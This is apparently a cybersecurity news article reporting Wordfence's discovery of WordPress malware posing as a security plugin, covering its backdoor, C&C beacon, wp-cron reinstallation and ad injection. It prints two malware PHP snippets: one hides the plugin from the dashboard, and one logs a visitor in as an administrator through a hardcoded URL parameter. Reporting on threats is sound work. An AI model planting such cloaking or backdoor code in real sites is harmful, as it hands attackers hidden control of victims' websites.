A newly discovered strain of WordPress malware is raising alarms in the cybersecurity community for its stealth and complexity. Posing as a legitimate security plugin, this malicious software quietly embeds itself into WordPress environments, granting cybercriminals full control over infected websites without immediate detection.
Under seemingly harmless filenames like WP-antymalwary-bot.php and wp-performance-booster.php, the malware is designed to look like a performance or security enhancement. Beneath this disguise, however, lies a potent toolkit for remote code execution, admin takeover, and malicious script injection — all operating behind the scenes.
Once active, the malware establishes a covert backdoor channel to attackers, allowing them to maintain long-term access, execute arbitrary PHP code remotely, and deploy JavaScript payloads used for spammy ad distribution. It also reaches out to a Command & Control (C&C) server, transmitting real-time data including the infected site’s URL and activity timestamp. These signals support broader, synchronized attacks and facilitate continuous monitoring of compromised assets.
The threat first came to light on January 22, 2025, during a standard malware removal operation by Wordfence. The researchers were immediately struck by the malware’s deceptive structure, which mimicked legitimate plugin behaviors and naming conventions to avoid suspicion.
Within two days, Wordfence had crafted detection rules and rolled them out to premium users. Free-tier users will receive those updates on May 23, 2025. However, the malware’s self-healing ability complicates cleanup efforts.
By manipulating WordPress’s wp-cron.php — the file responsible for scheduled tasks — the malware ensures it is automatically reinstalled even after deletion. This persistence layer frustrates removal attempts, giving administrators a false sense of security.
One of the more concerning aspects of the malware is its ability to stay invisible. It hooks into WordPress core filters to hide itself from the plugin dashboard:
php
// Conceals plugin from admin interface
function cloak_plugin($plugins) {
if (is_admin() && isset($plugins[plugin_basename(FILE)])) {
unset($plugins[plugin_basename(FILE)]);
}
return $plugins;
}
add_filter(‘all_plugins’, ‘cloak_plugin’);
To bypass user authentication, it also implements an emergency login routine. With a hardcoded URL parameter and password, the malware silently hijacks an existing admin account:
php
function stealth_admin_login() {
if (isset($_GET[’emergency_login’]) && $_GET[’emergency_login’] === ‘[REDACTED]’) {
$admins = get_users([‘role’ => ‘administrator’]);
if (!empty($admins)) {
$admin = reset($admins);
wp_set_auth_cookie($admin->ID, true);
wp_redirect(admin_url());
exit;
}
}
}
This threat exemplifies a new wave of WordPress-targeted attacks that blur the lines between legitimate plugins and malicious implants. Its covert behavior, regenerative capabilities, and deep integration into WordPress internals make it a formidable challenge for site owners and security teams alike.
